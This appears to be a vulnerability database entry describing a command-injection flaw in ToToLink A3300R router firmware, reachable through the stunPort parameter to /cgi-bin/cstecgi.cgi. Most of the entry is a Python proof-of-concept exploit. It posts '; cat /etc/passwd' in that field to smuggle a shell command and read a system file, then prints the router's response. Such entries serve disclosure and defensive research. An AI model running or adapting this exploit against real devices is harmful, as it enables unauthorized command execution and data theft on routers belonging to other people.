An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the stunPort parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Replace with actual IP)
target_url = "http://192.168.1.1/cgi-bin/cstecgi.cgi"
# The vulnerable parameter is 'stunPort'
# Payload example: appending a semicolon to execute a separate command (e.g., 'reboot' or 'cat /etc/passwd')
payload = "; cat /etc/passwd"
data = {
"stunPort": payload,
# Note: Other parameters might be required depending on the specific function call in the binary
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.post(target_url, data=data, headers=headers, timeout=5)
if response.status_code == 200:
print("Request sent successfully.")
print("Response content:")
print(response.text)
else:
print(f"Failed to send request, status code: {response.status_code}")
except Exception as e:
print(f"An error occurred: {e}")